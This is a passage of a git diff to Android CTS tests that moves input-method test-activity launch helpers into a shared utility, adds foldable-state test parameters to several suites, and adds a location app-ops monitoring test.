+                    CHECK_EXIT_EVENT_ONLY, TIMEOUT).getReturnBooleanValue());
+            createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+            // Verify if InputMethodService#isUiContext returns true
+            assertTrue(expectCommand(stream, imeSession.callVerifyIsUiContext(), TIMEOUT)
+                    .getReturnBooleanValue());
+        }
+    }
+
+    @Test
+    public void testNoConfigurationChangedOnStartInput() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                mInstrumentation.getContext(), mInstrumentation.getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+
+            final ImeEventStream forkedStream = stream.copy();
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+            // Verify if InputMethodService#isUiContext returns true
+            notExpectEvent(forkedStream, event -> "onConfigurationChanged".equals(
+                    event.getEventName()), EXPECTED_TIMEOUT);
+        }
+    }
+
     /** Test case for committing and setting composing region after cursor. */
     private static UpdateSelectionTest getCommitAndSetComposingRegionTest(
             long timeout, String makerPrefix) throws Exception {
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 361757a..673c87a 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -16,7 +16,6 @@
 
 package android.view.inputmethod.cts;
 
-import static android.content.Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS;
 import static android.inputmethodservice.InputMethodService.FINISH_INPUT_NO_FALLBACK_CONNECTION;
 import static android.view.View.VISIBLE;
 import static android.view.WindowInsets.Type.ime;
@@ -31,8 +30,6 @@
 import static android.view.inputmethod.cts.util.TestUtils.getOnMainSync;
 import static android.view.inputmethod.cts.util.TestUtils.runOnMainSync;
 
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEventWithKeyValue;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
@@ -45,13 +42,9 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.AlertDialog;
-import android.app.Dialog;
 import android.app.Instrumentation;
-import android.content.ComponentName;
-import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.graphics.Color;
-import android.net.Uri;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
@@ -69,6 +62,7 @@
 import android.view.inputmethod.InputMethodManager;
 import android.view.inputmethod.cts.util.AutoCloseableWrapper;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.MockTestActivityUtil;
 import android.view.inputmethod.cts.util.RequireImeCompatFlagRule;
 import android.view.inputmethod.cts.util.TestActivity;
 import android.view.inputmethod.cts.util.TestUtils;
@@ -82,10 +76,6 @@
 import androidx.test.filters.MediumTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.BySelector;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.Until;
 
 import com.android.cts.mockime.ImeEvent;
 import com.android.cts.mockime.ImeEventStream;
@@ -111,19 +101,6 @@
     private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
     private static final long LAYOUT_STABLE_THRESHOLD = TimeUnit.SECONDS.toMillis(3);
 
-    private static final ComponentName TEST_ACTIVITY = new ComponentName(
-            "android.view.inputmethod.ctstestapp",
-            "android.view.inputmethod.ctstestapp.MainActivity");
-    private static final Uri TEST_ACTIVITY_URI =
-            Uri.parse("https://example.com/android/view/inputmethod/ctstestapp");
-    private static final String EXTRA_KEY_SHOW_DIALOG =
-            "android.view.inputmethod.ctstestapp.EXTRA_KEY_SHOW_DIALOG";
-    private static final String EXTRA_KEY_PRIVATE_IME_OPTIONS =
-            "android.view.inputmethod.ctstestapp.EXTRA_KEY_PRIVATE_IME_OPTIONS";
-
-    private static final String ACTION_TRIGGER = "broadcast_action_trigger";
-    private static final String EXTRA_DISMISS_DIALOG = "extra_dismiss_dialog";
-    private static final String EXTRA_SHOW_SOFT_INPUT = "extra_show_soft_input";
     private static final int NEW_KEYBOARD_HEIGHT = 400;
 
     @Rule
@@ -527,7 +504,7 @@
             });
 
             try (AutoCloseableWrapper dialogCloseWrapper = AutoCloseableWrapper.create(
-                    dialogRef.get(), Dialog::dismiss)) {
+                    dialogRef.get(), dialog -> TestUtils.runOnMainSync(dialog::dismiss))) {
                 TestUtils.waitOnMainUntil(() -> dialogRef.get().isShowing()
                         && editTextRef.get().hasFocus(), TIMEOUT);
                 expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
@@ -742,11 +719,10 @@
             expectImeVisible(TIMEOUT);
 
             // Launcher another test activity from another process with popup dialog.
-            launchRemoteActivitySync(TEST_ACTIVITY, instant, TIMEOUT,
-                    Map.of(EXTRA_KEY_SHOW_DIALOG, "true"));
+            MockTestActivityUtil.launchSync(instant, TIMEOUT,
+                    Map.of(MockTestActivityUtil.EXTRA_KEY_SHOW_DIALOG, "true"));
             // Dismiss dialog and back to original test activity
-            triggerActionWithBroadcast(ACTION_TRIGGER, TEST_ACTIVITY.getPackageName(),
-                    EXTRA_DISMISS_DIALOG);
+            MockTestActivityUtil.sendBroadcastAction(MockTestActivityUtil.EXTRA_DISMISS_DIALOG);
 
             // Verify keyboard visibility should aligned with IME insets visibility.
             TestUtils.waitOnMainUntil(
@@ -783,14 +759,15 @@
 
             // Launch test activity with focusing an editor from remote process and expect the
             // IME is visible.
-            try (AutoCloseable closable = launchRemoteActivitySync(TEST_ACTIVITY, instant, TIMEOUT,
-                    Map.of(EXTRA_KEY_PRIVATE_IME_OPTIONS, marker))) {
+            try (AutoCloseable closable = MockTestActivityUtil.launchSync(
+                    instant, TIMEOUT,
+                    Map.of(MockTestActivityUtil.EXTRA_KEY_PRIVATE_IME_OPTIONS, marker))) {
                 expectEvent(stream, editorMatcher("onStartInput", marker), START_INPUT_TIMEOUT);
                 expectImeInvisible(TIMEOUT);
 
                 // Request showSoftInput, expect the request is valid and soft-keyboard visible.
-                triggerActionWithBroadcast(ACTION_TRIGGER, TEST_ACTIVITY.getPackageName(),
-                        EXTRA_SHOW_SOFT_INPUT);
+                MockTestActivityUtil.sendBroadcastAction(
+                        MockTestActivityUtil.EXTRA_SHOW_SOFT_INPUT);
                 expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
                 expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
                 expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
@@ -799,65 +776,13 @@
 
                 // Force stop test app package, and then expect IME should be invisible after the
                 // remote process stopped by forceStopPackage.
-                TestUtils.forceStopPackage(TEST_ACTIVITY.getPackageName());
+                MockTestActivityUtil.forceStopPackage();
                 expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
                 expectImeInvisible(TIMEOUT);
             }
         }
     }
 
-    private AutoCloseable launchRemoteActivitySync(ComponentName componentName, boolean instant,
-             long timeout, Map<String, String> extras) {
-        final StringBuilder commandBuilder = new StringBuilder();
-        if (instant) {
-            // Override app-links domain verification.
-            runShellCommand(
-                    String.format("pm set-app-links-user-selection --user cur --package %s true %s",
-                            componentName.getPackageName(), TEST_ACTIVITY_URI.getHost()));
-            final Uri uri = formatStringIntentParam(TEST_ACTIVITY_URI, extras);
-            commandBuilder.append(String.format("am start -a %s -c %s %s",
-                    Intent.ACTION_VIEW, Intent.CATEGORY_BROWSABLE, uri.toString()));
-        } else {
-            commandBuilder.append("am start -n ").append(componentName.flattenToShortString());
-            if (extras != null) {
-                extras.forEach((key, value) -> commandBuilder.append(" --es ")
-                        .append(key).append(" ").append(value));
-            }
-        }
-
-        runWithShellPermissionIdentity(() -> {
-            runShellCommand(commandBuilder.toString());
-        });
-        UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        BySelector activitySelector = By.pkg(componentName.getPackageName()).depth(0);
-        uiDevice.wait(Until.hasObject(activitySelector), timeout);
-
-        // Make sure to stop package after test finished for resource reclaim.
-        return () -> TestUtils.forceStopPackage(componentName.getPackageName());
-    }
-
-    @NonNull
-    private static Uri formatStringIntentParam(@NonNull Uri uri, Map<String, String> extras) {
-        if (extras == null) {
-            return uri;
-        }
-        final Uri.Builder builder = uri.buildUpon();
-        extras.forEach(builder::appendQueryParameter);
-        return builder.build();
-    }
-
-    private void triggerActionWithBroadcast(String action, String receiverPackage, String extra) {
-        final StringBuilder commandBuilder = new StringBuilder();
-        commandBuilder.append("am broadcast -a ").append(action).append(" -p ").append(
-                receiverPackage);
-        commandBuilder.append(" -f 0x").append(
-                Integer.toHexString(FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS));
-        commandBuilder.append(" --ez " + extra + " true");
-        runWithShellPermissionIdentity(() -> {
-            runShellCommand(commandBuilder.toString());
-        });
-    }
-
     private static ImeSettings.Builder getFloatingImeSettings(@ColorInt int navigationBarColor) {
         final ImeSettings.Builder builder = new ImeSettings.Builder();
         builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
index fb6dadb..1eb7ed5 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
@@ -16,7 +16,6 @@
 
 package android.view.inputmethod.cts;
 
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
@@ -24,26 +23,18 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
-import android.content.ComponentName;
-import android.content.Intent;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
-import android.net.Uri;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
-import android.view.inputmethod.cts.util.TestUtils;
+import android.view.inputmethod.cts.util.MockTestActivityUtil;
 import android.view.inputmethod.cts.util.UnlockScreenRule;
 
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
 import androidx.test.filters.MediumTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.Until;
 
 import com.android.cts.mockime.ImeCommand;
 import com.android.cts.mockime.ImeEvent;
@@ -55,7 +46,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.security.InvalidParameterException;
+import java.util.Map;
 import java.util.concurrent.TimeUnit;
 
 @MediumTest
@@ -66,16 +57,6 @@
     @Rule
     public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
 
-    private static final ComponentName TEST_ACTIVITY = new ComponentName(
-            "android.view.inputmethod.ctstestapp",
-            "android.view.inputmethod.ctstestapp.MainActivity");
-
-    private static final Uri TEST_ACTIVITY_URI =
-            Uri.parse("https://example.com/android/view/inputmethod/ctstestapp");
-
-    private static final String EXTRA_KEY_PRIVATE_IME_OPTIONS =
-            "android.view.inputmethod.ctstestapp.EXTRA_KEY_PRIVATE_IME_OPTIONS";
-
     private static final String TEST_MARKER_PREFIX =
             "android.view.inputmethod.cts.PackageVisibilityTest";
 
@@ -83,66 +64,6 @@
         return TEST_MARKER_PREFIX + "/"  + SystemClock.elapsedRealtimeNanos();
     }
 
-    @NonNull
-    private static Uri formatStringIntentParam(@NonNull Uri uri, @NonNull String key,
-            @Nullable String value) {
-        if (value == null) {
-            return uri;
-        }
-        return uri.buildUpon().appendQueryParameter(key, value).build();
-    }
-
-    @NonNull
-    private static String formatStringIntentParam(@NonNull String key, @Nullable String value) {
-        if (key.matches("[ \"']")) {
-            throw new InvalidParameterException("Unsupported character(s) in key=" + key);
-        }
-        if (value.matches("[ \"']")) {
-            throw new InvalidParameterException("Unsupported character(s) in value=" + value);
-        }
-        return value != null ? String.format(" --es %s %s", key, value) : "";
-    }
-
-    /**
-     * Launch the standalone version of the test {@link android.app.Activity} then wait for
-     * completions of launch.
-     *
-     * <p>Note: this method does not use
-     * {@link android.app.Instrumentation#startActivitySync(Intent)} because it does not work when
-     * both the calling process and the target process run under the instant app mode. Instead this
-     * method relies on adb command {@code adb shell am start} to work around that limitation.</p>
-     *
-     * @param instant {@code true} if the caller and the target is installed as instant apps.
-     * @param privateImeOptions If not {@code null},
-     *                          {@link android.view.inputmethod.EditorInfo#privateImeOptions} will
-     *                          in the test {@link android.app.Activity} will be set to this value.
-     * @param timeout timeout in milliseconds.
-     */
-    private AutoCloseable launchTestActivity(boolean instant, @Nullable String privateImeOptions,
-            long timeout) {
-        final String command;
-        if (instant) {
-            // Override app-links domain verification.
-            runShellCommand(
-                    String.format("pm set-app-links-user-selection --user cur --package %s true %s",
-                            TEST_ACTIVITY.getPackageName(), TEST_ACTIVITY_URI.getHost()));
-            final Uri uri = formatStringIntentParam(
-                    TEST_ACTIVITY_URI, EXTRA_KEY_PRIVATE_IME_OPTIONS, privateImeOptions);
-            command = String.format("am start -a %s -c %s %s",
-                    Intent.ACTION_VIEW, Intent.CATEGORY_BROWSABLE, uri.toString());
-        } else {
-            command = String.format("am start -n %s",
-                    TEST_ACTIVITY.flattenToShortString())
-                    + formatStringIntentParam(EXTRA_KEY_PRIVATE_IME_OPTIONS, privateImeOptions);
-        }
-        runShellCommand(command);
-        UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
-                .wait(Until.hasObject(By.pkg(TEST_ACTIVITY.getPackageName()).depth(0)), timeout);
-
-        // Make sure to stop package after test finished for resource reclaim.
-        return () -> TestUtils.forceStopPackage(TEST_ACTIVITY.getPackageName());
-    }
-
     @AppModeFull
     @Test
     public void testTargetPackageIsVisibleFromImeFull() throws Exception {
@@ -163,11 +84,12 @@
             final ImeEventStream stream = imeSession.openEventStream();
 
             final String marker = getTestMarker();
-            try (AutoCloseable closeable = launchTestActivity(instant, marker, TIMEOUT)) {
+            try (AutoCloseable closeable = MockTestActivityUtil.launchSync(instant,
+                    TIMEOUT, Map.of(MockTestActivityUtil.EXTRA_KEY_PRIVATE_IME_OPTIONS, marker))) {
                 expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
 
                 final ImeCommand command = imeSession.callGetApplicationInfo(
-                        TEST_ACTIVITY.getPackageName(), PackageManager.GET_META_DATA);
+                        MockTestActivityUtil.getPackageName(), PackageManager.GET_META_DATA);
                 final ImeEvent event = expectCommand(stream, command, TIMEOUT);
 
                 if (event.isNullReturnValue()) {
@@ -178,7 +100,8 @@
                     fail(exception.toString());
                 }
                 final ApplicationInfo applicationInfoFromIme = event.getReturnParcelableValue();
-                assertEquals(TEST_ACTIVITY.getPackageName(), applicationInfoFromIme.packageName);
+                assertEquals(MockTestActivityUtil.getPackageName(),
+                        applicationInfoFromIme.packageName);
             }
         }
     }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
index 2c2eb9f..110f9d0 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
@@ -424,8 +424,9 @@
             MockSpellCheckerClient.create(context, configuration).use {
                 val (activity, editText) = startTestActivity()
                 CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
-                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
                 val imm = activity.getSystemService(InputMethodManager::class.java)
+                waitOnMainUntil({ editText.hasFocus() &&
+                    imm.hasActiveInputConnection(editText) }, TIMEOUT)
                 assertThat(imm?.isInputMethodSuppressingSpellChecker).isTrue()
 
                 // SpellCheckerSession should return empty results if suppressed.
@@ -451,8 +452,9 @@
 
             val (activity, editText) = startTestActivity()
             CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
-            waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
             val imm = activity.getSystemService(InputMethodManager::class.java)
+            waitOnMainUntil({ editText.hasFocus() &&
+                imm.hasActiveInputConnection(editText) }, TIMEOUT)
             assertThat(imm?.isInputMethodSuppressingSpellChecker).isFalse()
         }
     }
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index d17adbd..613aebe 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 93a2b76..7fc8364 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -21,6 +21,7 @@
          See source.android.com/devices/tech/admin/multi-user#user_types -->
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index 2173c92..7206792 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -21,6 +21,7 @@
          See source.android.com/devices/tech/admin/multi-user#user_types -->
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- libcore.java.net.SocketTest requires wifi -->
         <option name="run-command" value="settings put global wifi_on 1" />
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index 86e04f6..efe3343 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -21,6 +21,7 @@
          See source.android.com/devices/tech/admin/multi-user#user_types -->
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
diff --git a/tests/libcore/okhttp/CtsLibcoreOkHttpTestCases.xml b/tests/libcore/okhttp/CtsLibcoreOkHttpTestCases.xml
index 0d4b9fe..283b9e6 100644
--- a/tests/libcore/okhttp/CtsLibcoreOkHttpTestCases.xml
+++ b/tests/libcore/okhttp/CtsLibcoreOkHttpTestCases.xml
@@ -21,6 +21,7 @@
          See source.android.com/devices/tech/admin/multi-user#user_types -->
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- This CTS test module requires wifi, ensure wifi is on -->
         <option name="run-command" value="settings put global wifi_on 1" />
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index b0471d0..be741df 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -21,6 +21,7 @@
          See source.android.com/devices/tech/admin/multi-user#user_types -->
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <!-- this has just the instrumentation which acts as the tests we want to run -->
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
index 27f1f4c..29dd8ef 100644
--- a/tests/libcore/wycheproof/AndroidTest.xml
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -21,6 +21,7 @@
          See source.android.com/devices/tech/admin/multi-user#user_types -->
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <!-- this has just the instrumentation which acts as the tests we want to run -->
diff --git a/tests/location/common/src/android/location/cts/common/OpActiveChangedCapture.java b/tests/location/common/src/android/location/cts/common/OpActiveChangedCapture.java
new file mode 100644
index 0000000..bc69bcb
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/OpActiveChangedCapture.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.app.AppOpsManager;
+import android.os.Looper;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class OpActiveChangedCapture implements AppOpsManager.OnOpActiveChangedListener,
+        AutoCloseable {
+
+    private final AppOpsManager mAppOps;
+    private final String mOp;
+    private final LinkedBlockingQueue<Boolean> mActives;
+
+    public OpActiveChangedCapture(AppOpsManager appOps, String op) {
+        mAppOps = appOps;
+        mOp = op;
+        mActives = new LinkedBlockingQueue<>();
+    }
+
+    public Boolean getNextActive(long timeoutMs) throws InterruptedException {
+        if (Looper.myLooper() == Looper.getMainLooper()) {
+            throw new AssertionError("getNextActive() called from main thread");
+        }
+
+        return mActives.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void close() {
+        mAppOps.stopWatchingActive(this);
+    }
+
+    @Override
+    public void onOpActiveChanged(String op, int uid, String packageName, boolean active) {
+        if (op.equals(mOp)) {
+            mActives.add(active);
+        }
+    }
+}
diff --git a/tests/location/location_coarse/AndroidTest.xml b/tests/location/location_coarse/AndroidTest.xml
index 2e26fd1..ac01235 100644
--- a/tests/location/location_coarse/AndroidTest.xml
+++ b/tests/location/location_coarse/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/location/location_fine/AndroidTest.xml b/tests/location/location_fine/AndroidTest.xml
index 7c12b33..0d2a081 100644
--- a/tests/location/location_fine/AndroidTest.xml
+++ b/tests/location/location_fine/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index 7d97a70..05d3be0 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -17,6 +17,8 @@
 package android.location.cts.fine;
 
 import static android.Manifest.permission.WRITE_SECURE_SETTINGS;
+import static android.app.AppOpsManager.OPSTR_MONITOR_HIGH_POWER_LOCATION;
+import static android.app.AppOpsManager.OPSTR_MONITOR_LOCATION;
 import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 import static android.content.pm.PackageManager.FEATURE_TELEVISION;
 import static android.location.LocationManager.EXTRA_PROVIDER_ENABLED;
@@ -27,6 +29,7 @@
 import static android.location.LocationManager.PASSIVE_PROVIDER;
 import static android.location.LocationManager.PROVIDERS_CHANGED_ACTION;
 import static android.location.LocationRequest.PASSIVE_INTERVAL;
+import static android.location.LocationRequest.QUALITY_HIGH_ACCURACY;
 import static android.os.PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF;
 import static android.os.PowerManager.LOCATION_MODE_GPS_DISABLED_WHEN_SCREEN_OFF;
 import static android.os.PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF;
@@ -52,7 +55,6 @@
 import android.app.UiAutomation;
 import android.content.Context;
 import android.content.Intent;
-import android.content.pm.PackageManager;
 import android.location.Criteria;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
@@ -67,6 +69,7 @@
 import android.location.cts.common.GetCurrentLocationCapture;
 import android.location.cts.common.LocationListenerCapture;
 import android.location.cts.common.LocationPendingIntentCapture;
+import android.location.cts.common.OpActiveChangedCapture;
 import android.location.cts.common.ProviderRequestChangedListenerCapture;
 import android.location.cts.common.gnss.GnssAntennaInfoCapture;
 import android.location.cts.common.gnss.GnssMeasurementsCapture;
@@ -143,15 +146,11 @@
         }
 
         mManager.addTestProvider(TEST_PROVIDER,
-                true,
-                false,
-                true,
-                false,
-                false,
-                false,
-                false,
-                Criteria.POWER_MEDIUM,
-                Criteria.ACCURACY_FINE);
+                new ProviderProperties.Builder()
+                        .setHasNetworkRequirement(true)
+                        .setHasCellRequirement(true)
+                        .setPowerUsage(ProviderProperties.POWER_USAGE_HIGH)
+                        .setAccuracy(ProviderProperties.ACCURACY_FINE).build());
         mManager.setTestProviderEnabled(TEST_PROVIDER, true);
     }
 
@@ -827,6 +826,57 @@
     }
 
     @Test
+    public void testMonitoring() throws Exception {
+        AppOpsManager appOps = Objects.requireNonNull(
+                mContext.getSystemService(AppOpsManager.class));
+
+        try (OpActiveChangedCapture opCapture = new OpActiveChangedCapture(appOps,
+                OPSTR_MONITOR_LOCATION);
+             OpActiveChangedCapture opHighPowerCapture = new OpActiveChangedCapture(appOps,
+                     OPSTR_MONITOR_HIGH_POWER_LOCATION);
+             LocationListenerCapture capture1 = new LocationListenerCapture(mContext);
+             LocationListenerCapture capture2 = new LocationListenerCapture(mContext);
+             LocationListenerCapture capture3 = new LocationListenerCapture(mContext)) {
+            appOps.startWatchingActive(new String[]{OPSTR_MONITOR_LOCATION}, Runnable::run,
+                    opCapture);
+            appOps.startWatchingActive(new String[]{OPSTR_MONITOR_HIGH_POWER_LOCATION},
+                    Runnable::run, opHighPowerCapture);
+
+            mManager.requestLocationUpdates(TEST_PROVIDER,
+                    new LocationRequest.Builder(Long.MAX_VALUE - 1).build(),
+                    Executors.newSingleThreadExecutor(), capture1);
+            assertThat(opCapture.getNextActive(TIMEOUT_MS)).isTrue();
+            assertThat(opHighPowerCapture.getNextActive(FAILURE_TIMEOUT_MS)).isNull();
+
+            mManager.requestLocationUpdates(TEST_PROVIDER, new LocationRequest.Builder(
+                            0).setQuality(
+                            QUALITY_HIGH_ACCURACY).build(),
+                    Executors.newSingleThreadExecutor(), capture2);
+            assertThat(opCapture.getNextActive(FAILURE_TIMEOUT_MS)).isNull();
+            assertThat(opHighPowerCapture.getNextActive(TIMEOUT_MS)).isTrue();
+
